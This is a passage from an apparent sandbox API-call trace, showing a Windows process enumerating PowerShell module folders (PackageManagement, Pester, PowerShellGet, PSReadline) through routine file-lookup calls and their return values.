nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0084.905] FindNextFileW (in: hFindFile=0x75c6c08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0084.905] FindClose (in: hFindFile=0x75c6c08 | out: hFindFile=0x75c6c08) returned 1 [0084.905] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec50) returned 1 [0084.905] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec5c) returned 1 [0084.906] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0084.906] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0084.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec28) returned 1 [0084.906] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x843eca4 | out: lpFileInformation=0x843eca4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8fa)) returned 1 [0084.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec24) returned 1 [0084.909] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0084.909] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0084.909] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0084.909] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0084.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec4c) returned 1 [0084.909] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x52986cc | out: lpFileInformation=0x52986cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8fa)) returned 1 [0084.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec48) returned 1 [0084.909] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0084.909] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0084.909] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0084.909] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0084.909] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0084.909] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0084.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec94) returned 1 [0084.910] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0084.910] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x32, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", lpFilePart=0x0) returned 0x31 [0084.910] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\*", lpFindFileData=0x843e9bc | out: lpFindFileData=0x843e9bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x75c68c8 [0084.910] FindNextFileW (in: hFindFile=0x75c68c8, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.910] FindNextFileW (in: hFindFile=0x75c68c8, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e338c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.3.5", cAlternateFileName="3351CC~1.5")) returned 1 [0084.910] FindNextFileW (in: hFindFile=0x75c68c8, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529e7f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 1 [0084.910] FindNextFileW (in: hFindFile=0x75c68c8, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0084.910] FindClose (in: hFindFile=0x75c68c8 | out: hFindFile=0x75c68c8) returned 1 [0084.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec50) returned 1 [0084.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec5c) returned 1 [0084.912] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0084.912] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0084.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec28) returned 1 [0084.912] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.4.0\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x843eca4 | out: lpFileInformation=0x843eca4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1014)) returned 1 [0084.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec24) returned 1 [0084.913] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0084.914] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0084.914] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0084.914] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0084.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec4c) returned 1 [0084.914] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.4.0\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x529a2bc | out: lpFileInformation=0x529a2bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1014)) returned 1 [0084.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec48) returned 1 [0084.914] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0084.914] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0084.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec28) returned 1 [0084.914] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.3.5\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x843eca4 | out: lpFileInformation=0x843eca4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x35e5)) returned 1 [0084.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec24) returned 1 [0084.916] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0084.917] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0084.917] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0084.917] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0084.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec4c) returned 1 [0084.917] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.3.5\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x529a56c | out: lpFileInformation=0x529a56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x35e5)) returned 1 [0084.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec48) returned 1 [0084.917] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.psd1")) returned 0xffffffff [0084.917] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.psm1")) returned 0xffffffff [0084.917] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.cdxml")) returned 0xffffffff [0084.917] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.xaml")) returned 0xffffffff [0084.917] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.ni.dll")) returned 0xffffffff [0084.917] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.dll")) returned 0xffffffff [0084.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec94) returned 1 [0084.917] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0084.917] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0084.918] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x843e9bc | out: lpFindFileData=0x843e9bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x75c6988 [0084.918] FindNextFileW (in: hFindFile=0x75c6988, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.918] FindNextFileW (in: hFindFile=0x75c6988, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53ec4f8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0084.918] FindNextFileW (in: hFindFile=0x75c6988, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0084.918] FindClose (in: hFindFile=0x75c6988 | out: hFindFile=0x75c6988) returned 1 [0084.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec50) returned 1 [0084.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec5c) returned 1 [0084.918] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0084.918] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0084.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec28) returned 1 [0084.919] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x843eca4 | out: lpFileInformation=0x843eca4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadf)) returned 1 [0084.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec24) returned 1 [0084.920] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0084.920] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0084.921] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0084.921] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0084.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec4c) returned 1 [0084.921] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x529bc28 | out: lpFileInformation=0x529bc28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadf)) returned 1 [0084.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec48) returned 1 [0084.921] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0084.921] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0084.921] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0084.921] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0084.922] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0084.922] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0084.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec94) returned 1 [0084.922] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x36 [0084.922] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", nBufferLength=0x36, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", lpFilePart=0x0) returned 0x35 [0084.922] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\*", lpFindFileData=0x843e9bc | out: lpFindFileData=0x843e9bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x75c6dc8 [0084.922] FindNextFileW (in: hFindFile=0x75c6dc8, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, 